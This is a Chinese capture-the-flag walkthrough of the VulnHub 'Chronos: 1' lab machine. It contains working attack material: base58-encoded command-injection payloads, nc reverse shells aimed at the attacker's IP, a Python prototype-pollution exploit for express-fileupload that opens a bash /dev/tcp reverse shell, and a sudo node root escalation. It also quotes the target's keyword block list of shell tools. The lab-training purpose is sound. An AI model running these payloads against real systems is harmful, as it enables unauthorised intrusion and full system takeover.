主頁 >  其他 > 一起來打靶 03

一起來打靶 03

2022-03-31 06:28:17 其他

0x00 靶機介紹

靶機地址:Chronos: 1 ~ VulnHub

難度等級:中(構思非常巧妙)

推薦虛擬機:VirtualBox

0x01 內容簡介

  • 涉及的攻擊方法

    • 埠掃描
    • WEB偵查
    • 命令注入
    • 資料編解碼
    • 搜索大法
    • 框架漏洞利用
    • 代碼審計
    • NC串聯
    • 本地提權
  • 簡介

    本課我完整介紹了自己的打靶程序,以及面對每個困難時的思路和反映,在面對自身技術弱點的情況下,我通過搜索大法和自己快速的學習能力,終于成功完成了這次打靶,并識訓了作者埋下的一個小小彩蛋,希望你能從本課的內容受益!

  • 打靶目標

    • 取得 2 個 flag + root 權限

0x02 環境搭建

下載好靶機.ova檔案后匯入到VirtualBox中即可

確保靶機和kali在同一網段中

kali IP地址:10.0.2.7

0x03 主機發現

本次主機發現使用netdiscover這個工具

這款工具與arp-scanarping原理都是相同的,都是通過發送arp廣播資料包來進行主機發現,只是命令的使用格式不一樣

對kali所在網段10.0.2.0/24進行掃描,有個使用netdiscover小建議,將真實的子網掩碼位數減8作為要掃描的子網掩碼位數,這樣設定在實際使用中對地址發現的速度、效率、最終效果都會更好一些

執行命令:sudo netdiscover -r 10.0.2.0/16

image-20220319180923133

10.0.2.1-3這三個IP是虛擬機軟體為了完成基本功能所使用到的IP,所以一定不是靶機IP,故10.0.2.9就為靶機的IP

10.0.2.9進行全埠的掃描

執行命令:sudo nmap -p- 10.0.2.9

image-20220319181145921

繼續對22808000埠進行服務版本的發現

執行命令:sudo nmap -p22,80,8000 -sV 10.0.2.9

image-20220319181305538

掃描結果顯示

  • 22埠,開放的是OpenSSH 7.6p1這個版本的的SSH服務,且目標靶機的作業系統可能是Ubuntu
  • 80埠,開放的是Apache web應用,再次驗證目標靶機的作業系統可能是Ubuntu
  • 8000埠,開放的是http應用,使用的是Node.js技術結合Express開發框架

0x04 WEB偵察

既然目標系統的808000埠都運行這http服務,那么就使用瀏覽器來訪問一下

先使用瀏覽器訪問:http://10.0.2.9

image-20220319182114233

可以看到這個頁面非常的簡單

針對web應用進行滲透時,通常會有一些慣例性的做法,比如兩種常規操作

  1. 對web應用進行爬站,將隱藏的路徑,隱藏的檔案爬出來
  2. ctrl+u或者在瀏覽器頁面上查看當前頁面的原始碼,查看可能會有的隱藏元素、介面、腳本等

查看頁面原始碼

image-20220319212329421

并沒有查看到更多的url地址和頁面資源,但是發現了一段JS腳本,這段腳本似乎在預示著什么,應該是在頁面上執行某些功能,通常會預期通過這段腳本發現呼叫的某些后端介面

0x05 資料編解碼

將腳本內容粘貼出來,看看能否讀懂在干什么

var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

很明顯,這段腳本的內容似乎都是經過了編碼處理,導致很難從語意,函式名稱等等角度來讀懂這段代碼的含義

遇到這種情況,一般會對JS代碼進行美化、還原、整理操作

接下來介紹一款非常強大的針對計算機各種資料型別進行編解碼、還原、解密、解壓等等相關操作,即CyberChef

網站地址:CyberChef (gchq.github.io),而且還可以下載下來在本機上運行,使用瀏覽器來打開使用

image-20220319215332095

JS代碼粘貼到輸入框中,選擇JavaScript Beautify模塊

image-20220319220158824

美化后的結果

var _0x5bdf = [
	'150447srWefj',
	'70lwLrol',
	'1658165LmcNig',
	'open',
	'1260881JUqdKM',
	'10737CrnEEe',
	'2SjTdWC',
	'readyState',
	'responseText',
	'1278676qXleJg',
	'797116soVTES',
	'onreadystatechange',
	'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
	'User-Agent',
	'status',
	'1DYOODT',
	'400909Mbbcfr',
	'Chronos',
	'2QRBPWS',
	'getElementById',
	'innerHTML',
	'date'
];
(function (_0x506b95, _0x817e36) {
	var _0x244260 = _0x432d;
	while (!![]) {
		try {
			var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
			if (_0x35824b === _0x817e36)
				break;
			else
				_0x506b95['push'](_0x506b95['shift']());
		} catch (_0x3fb1dc) {
			_0x506b95['push'](_0x506b95['shift']());
		}
	}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
	return _0x432d = function (_0x5bdf82, _0x432dc8) {
		_0x5bdf82 = _0x5bdf82 - 126;
		var _0x4da6e8 = _0x5bdf[_0x5bdf82];
		return _0x4da6e8;
	}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
	var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
	_0x2beb35[_0x17df92(137)] = function () {
		var _0x146f5d = _0x17df92;
		this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
	}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}

發現美化后的代碼還是比較難讀,函式的名稱依舊是經過編碼處理的,若想要完全讀懂這段代碼的含義,理想上還是得將這些函式名稱編碼轉換回來,當然利用CyberChef是可以做到的;不過從滲透高效的角度來說,應該重點關注這段代碼中比較容易識別且一眼看上去就很可疑的內容

這段代碼中絕大多數內容都是經過編碼的不太好讀,但是有一處明文的url地址,即http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

分析這段url,它的主機名是chronos就是這臺靶機的名稱,local的意思是本地,恰巧靶機上的8000埠運行著http服務,所以有理由懷疑chronos.local:8000指向的就是靶機本身的8000

編輯kali中的hosts檔案,增加chronos.local對應的IP地址為靶機的IP10.0.2.9

執行命令:sudo vim /etc/hosts

image-20220319222059480

再次訪問:http://10.0.2.9,查看是否有通過剛剛這個url地址加載其他的資料,從而導致前端頁面或者原始碼發生變化

image-20220319222305122

發現真的在前端頁面上多出了一段內容,接下來就應當打開burpsuite,利用burpsuite的代理截斷功能,在重新加載頁面的時候,截獲所有的網路流量,分析一下整個的通信程序,加載了哪些資源,訪問了哪些地址

0x06 命令注入

打開burpsuite,關閉截斷功能,配置瀏覽器代理,重新訪問頁面

image-20220320171122724

burpsuiteHTTP history中可以看到,瀏覽器首先以GET方式請求了根路徑,接著以OPTIONSGET方式請求了剛剛在JS腳本中的url地址,并且在GET請求的回應資料是當前時間,再定睛一看,這個回應結果就是瀏覽器中多出來的內容

將最后一個GET請求包發送到Repeter模塊中,快捷鍵Ctrl+R或者右鍵選擇Send to Repeter

image-20220320171728990

這個時候應該問自己一個問題:為什么當瀏覽器發送這樣的http請求,服務端會將系統時間發聵回來,如果將這串特殊字符4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL修改掉的話,服務器是否還會作這樣的回應

image-20220321160406855

當任意修改這串特殊的字串后,發送請求后服務器無回應資料,通過這樣的簡單測驗,至少可以確定format=后面這串字符對于請求服務端的系統時間是至關重要的

觀察這段字符,發現長的樣子很像base64編碼后的字符,利用CyberChefMagic模塊來解碼資料

Magic模塊會自動分析輸入的字串可能是通過什么格式的編碼來形成的

image-20220321161044763

通過Magic模塊的分析,得到這串字符的編碼方式為Base58,解碼后的資料為:'+Today is %A, %B %d, %Y %H:%M:%S.'

Base58和Base64的區別

Base58是用于Bitcoin中使用的一種獨特的編碼方式,主要用于產生Bitcoin的錢包地址,

相比Base64,Base58不使用數字"0",字母大寫"O",字母大寫"I",和字母小寫"l",以及"+"和"/"符號,

設計Base58主要的目的是:

避免混淆,在某些字體下,數字0和字母大寫O,以及字母大寫I和字母小寫l會非常相似,

不使用"+"和"/"的原因是非字母或數字的字串作為帳號較難被接受,

沒有標點符號,通常不會被從中間分行,

大部分的軟體支持雙擊選擇整個字串,

但是這個base58的計算量比base64的計算量多了很多,因為58不是2的整數倍,需要不斷用除法去計算,

而且長度也比base64稍微多了一點,

參考鏈接:Base58和Base64的區別 - 簡書 (jianshu.com)

結合轉碼后字串'+Today is %A, %B %d, %Y %H:%M:%S.'url地址http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL中的date查詢引數,非常像Linux中的date命令

比方說命令:date '+Today is %A, %B %d, %Y %H:%M:%S.'

image-20220321161745222

%A : 星期幾 (Sunday..Saturday)
%B : 月份 (January..December)
%d : 日 (01..31)
%Y : 完整年份 (0000..9999)
%H : 小時(00..23)
%M : 分鐘(00..59)
%S : 秒(00..61)

參考鏈接:Linux date命令 | 菜鳥教程 (runoob.com)

當產生這個懷疑并進行簡單測驗之后,初步推測:當訪問這段http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL地址時,服務端執行的就是Linux date系統命令,如果執行的是系統指令,那么就應該可以通過諸如,管道符||&&來注入更多的命令,從而實作反彈shell

首先構造Payloads,進行base58編碼后提交到服務端,驗證猜想,Payloads如下

&& ls

編碼后

5Jdixo4

image-20220321162822061

5Jdixo4作為引數值提交到服務端

image-20220321163001930

回傳的結果列出了當前目錄下的檔案,真的有命令注入漏洞

0x07 NC反彈Shell

既然驗證出了有命令注入漏洞,就應當利用這個漏洞來反彈shell

命令注入漏洞反彈shell時首選nc,因為nc的適用范圍特別廣,如果目標靶機上存在nc的話就不用再花時間上傳別的工具上去,直接通過nc反彈shell

查看目標靶機是否存在nc

Payloads base58編碼后
&& ls /bin/nc 4BJ88AkbuHSuYTck2e

image-20220321164011677

回傳的結果顯示出現了一些錯誤,可是命令明明是對的,ls在之前的驗證當中也是可以正常運行的

再次構造Payloads

Payloads base58編碼后
&& ls /bin 39JyvVr3FjbwAV

提交資料到服務端(注意:提交之前需要重啟靶機,否則由于剛剛的錯誤可能觸發了目標靶機某些運行環境的改變,造成此url不再回傳資料)

image-20220321164908906

這次運行成功,首先看到目標靶機有bash,所以在反彈shell時可以選擇它

搜索是否存在nc

image-20220321165103559

結果顯示目標靶機上是存在nc

測驗此nc是否可以正常運行,是否能夠建立基本連接

先在kali上偵聽4444

執行命令:nc -nvlp 4444

image-20220321165954977

構造Payloads

Payloads base58編碼后
&& nc 10.0.2.8 4444 7z53yRw7rBpK6bZzzLiu6mzbEs

image-20220321170241757

回應的結果說發生了一些錯誤,但是連接已經成功建立了,說明目標靶機上存在nc且可以正常建立連接

image-20220321170330596

測驗此nc帶不帶-e引數,如果有直接利用-e引數反彈shell,如果沒有則利用靶機02中的方法NC串聯反彈shell

在kali端重新偵聽4444

構造Payloads

Payloads base58編碼后
&& nc 10.0.2.7 4444 -e /bin/bash 3ZvDHzaCGqZ8QHRSqqWgqs2zWPV699tYwn7v3v5BUKUj

image-20220321171632318

發現連基本的TCP連接都沒有建立,更別說反彈shell

image-20220321171742998

基本可以判斷目標靶機上的nc不帶-e引數

不得不選擇NC串聯方法來反彈shell

在kali端偵聽44445555

構造Payloads

Payloads base58編碼后
&& nc 10.0.2.7 4444 |/bin/bash |nc 10.0.2.7 5555 UGDw4GJJkFbTzqwn2PUpPJ9J8Ffdzg6USGexPydruuoMUnYCVbKud1J9MaiMMCREZZAU

image-20220321172659329

image-20220321173124677

反彈shell成功,由于利用的是web服務器上的命令注入漏洞獲取到的shell,所以默認所處的路徑應該是當前web應用所在的應用程式放置路徑

0x08 資訊收集

在當前目錄下并沒有看到可能是flag的檔案,接下來就需要去找到這些flag

在這個階段就需要在目標靶機上進行大量的資訊收集,查看目標靶機上存在哪些用戶賬號以及所有的敏感目錄,在敏感目錄下是否包含一些看似是flag的檔案

查看所有的用戶賬號

利用nc在目標靶機上執行命令:cat /etc/passwd

image-20220321175012698

查看到目標靶機上存在可以登錄的imera賬號

去這個賬號的主目錄下看看都有什么檔案

image-20220321175310039

發現這個目錄下存在user.txt這個看起來就很像flag的檔案,遺憾的是這個檔案僅有屬主具有讀寫權限

0x09 失敗的提權嘗試

既然沒有權限讀取內容,那么接下來的目標就很明確,就是要把自己提升為imera賬號權限,甚至是root賬號權限

Linux系統中常見的三種提權方法

  1. 內核漏洞提權
  2. SUID配置錯誤提權
  3. sudo提權

嘗試使用內核漏洞提權

查看目標靶機的內核版本

image-20220321180143327

針對內核版本4.15在網上尋找已知的內核漏洞提權的工具和代碼,一無所獲

嘗試使用SUID配置錯誤提權

在目標靶機上尋找SUID權限配置錯誤,一無所獲

嘗試使用sudo提權

image-20220321180534049

當前賬號www-data的權限非常低,沒有sudo的權限

至此,提權的進展遇到了一些困境

0x0a express-fileupload提權

這樣的困境在真實的滲透測驗程序中都會遇到,當自己慣用的方法針對當前系統無效時,必須要尋找新的出路

如何尋找新的出路呢?

最重要的無外乎就是在目標系統上進行大量的資訊收集,滲透測驗的經驗越豐富越發現,資訊收集其實才是滲透測驗程序中最最關鍵的環節,當把目標系統上的資訊盡量完整的收集到之后,自然而然就會產生很多的漏洞利用攻擊思路或手段

思路來源于大量的,完善的資訊收集

通過在目標靶機上進行了大量的資訊收集,查看系統檔案目錄等,經過一番折騰之后最終發現在web應用的根目錄即/opt/chronos存在突破點

/opt/chronos下存放著web應用服務端的代碼

image-20220321183819253

但是這個web應用服務端程式是通過Node.js使用JavaScript語言來開發的

作為滲透測驗者經常會面對這樣的情況,遇到自己壓根不熟悉的技術;這個時候就要求我們具備快速的學習能力,利用最短的時間上網搜索,吸收知識,了解這種技術最核心,本質的實作原理

經過一天左右的搜索,最終發現存在于目標靶機上Node.js的漏洞,并利用這個漏洞成功的進行了提權

Node.js最初由個人開發,現在交于Node.js基金會來進行維護

簡單的說 Node.js 就是運行在服務端的 JavaScript,

Node.js 是一個基于Chrome JavaScript 運行時建立的一個平臺,

Node.js是一個事件驅動I/O服務端JavaScript環境,基于Google的V8引擎,V8引擎執行Javascript的速度非常快,性能非常好,

基于Node.js開發應用程式通常都會基于已有的框架和庫,例如Socket.ioExpressAxios,而針對web應用開發的話最常用的就是Express

嘗試對目標靶機的web應用進行代碼審計

每個基于Node.js開發專案的根目錄下面,一般都有一個package.json檔案,定義了這個專案所需要的各種模塊,以及專案的配置資訊(比如名稱、版本、許可證等元資料),npm install命令根據這個組態檔,自動下載所需的模塊,也就是配置專案所需的運行和開發環境,

參考鏈接:package.json檔案 -- JavaScript 標準參考教程(alpha) (ruanyifeng.com)

查看package.json檔案內容

image-20220321190358350

果然這個web應用使用的是Express框架來開發的,于是就從網上進行了大量的搜索,搜索Express框架是否存在已知的漏洞,一無所獲

繼續查看web應用后端主檔案app.js內容

// created by alienum for Penetration Testing
// 加載用到的庫
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

// web應用運行在8000埠,與nmap掃描結果相印證
const port = 8000;

const cors = require('cors');


app.use(cors());

// 路由的配置
app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

// 路由的配置
app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    // Linux date命令
    var cmd = 'date ';
    // 提取請求url中的format查詢引數的值
    const format = req.query.format;
    // 進行base58解碼
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    // 拼接完整date命令
    var concat = cmd.concat(decoded);
    
    // 到這里發現從客戶端提交上來的資料沒有進行任何的消毒,過濾,直接進行了拼接,也驗證了命令注入漏洞的原理
    
    // 如果http請求資料包中的user-agent欄位的值是Chronos話才允許訪問
    if (agent === 'Chronos') {
        // 請求引數包含id whoami python nc bash php which socat這些特征字符的就回傳Something went wrong,這也驗證了在利用nc反彈shell時為什么服務端會回應Something went wrong
        // 但是也只是僅僅做了這么個檢查,檢查到了回傳一個錯誤資訊,卻并沒有阻斷執行,這也是服務端防護不完善的地方
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})

這段原始碼似乎對提權也并沒有幫助,不得不繼續在目標靶機上做資訊收集,又一番折騰過后

/opt目錄下還存在/chronos-v2目錄

image-20220321214746775

發現這個另外一個web應用,有前端模板檔案index.html,前端代碼目錄frontend,后端代碼目錄backend

進入后端代碼目錄中看一下

image-20220321215127797

依然存在package.json檔案,二話不說查看一下內容,看看都用到了哪些庫,而這些庫是否存在某些已公開的提權漏洞

image-20220321215341882

ejs:是一套簡單的模板語言,幫你利用普通的 JavaScript 代碼生成 HTML 頁面,
express:基于 Node.js 平臺,快速、開放、極簡的 Web 開發框架,
express-fileupload:用于上傳檔案的Simple Express中間件,

ejsexpress都沒有給機會,但是express-fileupload給了提權一線曙光

查看服務端代碼檔案server.js

// 加載用到的庫
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

// 將parseNested設定為了true
app.use(fileupload({ parseNested: true }));

// 設定模板引擎和頁面
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

// 路由配置
app.get('/', (req, res) => {
   res.render('index')
});

// 啟動在127.0.0.1的8080埠
// 這也解釋了為什么在掃描的時候沒有發現這個web應用
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

這段代碼也非常的檢查,唯一有希望的地方就是這些模塊存在可以利用的提權漏洞,到網上繼續一頓搜索這么模塊存在的漏洞

功夫不負有心人,在花費1天左右的時間后最終找到了模塊express-fileupload存在的一個漏洞

在這篇文章中比較詳細的介紹了這個漏洞型別:NodeJS module downloaded 7M times lets hackers inject code (bleepingcomputer.com)(需FQ),并且還有一個鏈接鏈接到了這個漏洞最初發現者的原始博客文章:Real-world JS - 1 (p6.is),而在最初發現者的文章中完整的介紹了這個漏洞是如何產生的、背后的原理以及如何進行漏洞利用

image-20220321222213181

根據這篇文章得知當開啟app.use(fileupload({ parseNested: true }));時,漏洞則會存在,回去檢查一下靶機服務端代碼檔案,發現正好開啟了這個功能,真的有可能成功利用這個漏洞獲得提權的效果

在這篇文章的最后部分,作者貼心的寫上了簡化的漏洞利用代碼,是一段python代碼

image-20220321222644084

import requests

# 定義反彈shell的操作指令,p6.is/8888為kali的IP和埠
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
# 原形污染的攻擊性代碼,p6.is:7777是要攻擊的web應用的服務地址和埠
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
# p6.is:7777是要攻擊的web應用的服務地址和埠
requests.get('http://p6.is:7777')

將其中的地址和埠改成正確的

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/10.0.2.7/4444 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

首先在kali上創建這個檔案,保存為exp.py

image-20220321223633114

由于web應用監聽的是127.0.0.1:8080,所以在kali上啟動http服務將這個檔案傳輸到目標靶機上,在目標靶機上利用wget下載檔案

image-20220321224138778

在kali端偵聽4444

image-20220321224245149

在目標靶機上執行exp.py

image-20220321224406870

成功在kali上獲得到了反彈shell,長長的出了口氣

image-20220321224530719

提權獲取的賬號是imera,而在之前的資訊收集中又發現在這個用戶目錄下存在一個類似flag的檔案user.txt

image-20220321224803237

看起來一定是flag的內容了

0x0b sudo+Node.js提權

根據靶機作者的描述在root用戶目錄下還存放著一個flag檔案,嘗試進入root用戶目錄查看檔案型別

image-20220321225111502

發現沒有權限,不得不面臨著第二次的提權

嘗試使用sudo提權

image-20220321225304973

發現有可乘之機,框框中的兩行表示在不需要密碼的情況下就能以root權限運行npmnode這兩個命令

通過網上搜索,尋找到了這么一段Payloads

# 通過呼叫node生成一個子行程,而在這個子行程中執行的就是/bin/bash
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

image-20220321230224061

可喜可賀,取得了root權限的shell

查看flag檔案

image-20220321230543427

識訓到root賬號下的flag,本次打靶圓滿完成!

0x0c 總結

  • 打靶程序圖片概述

    ![靶機+03](一起來打靶 03.assets/靶機+03.png)

  • 打靶程序文字概述

    1. 先做了主機發現、埠掃描、應用發現等基本操作

    2. web頁面原始碼中發現了個奇怪的域名,通過hosts檔案系結域名和IP之后,發現了頁面中的某些變化

    3. 通過對url中引數值進行base58解碼分析,得到了一個命令注入漏洞,通過構造Payloads并進行base58編碼后,成功利用這個命令注入漏洞獲取了一個基礎的nc反彈shell

    4. 在這臺靶機上識訓flag以及提權的程序中遇到了很多的困難,最終通過代碼審計+搜索大法找到了web應用使用到的一個模塊的漏洞,成功提權

      最近這些年在互聯網上爆出了很多很多的漏洞,其中相當大比例都是開源的框架上的漏洞;現在絕大多數的系統都是基于現成的框架/CMS/模塊開發出來,所以若一個框架/CMS/模塊在世界上的應用很廣泛,一旦這個框架/CMS/模塊出現問題,那么受到攻擊威脅的服務器也會非常多

    5. 再次通過sudo提權,拿到了root權限的shell

  • 打靶程序對應的視頻鏈接:點擊查看

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/452861.html

標籤:其他

上一篇:JSON字串在Python中用兩個單引號替換單引號

下一篇:【零基礎學Web安全】Web安全基礎篇(一)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

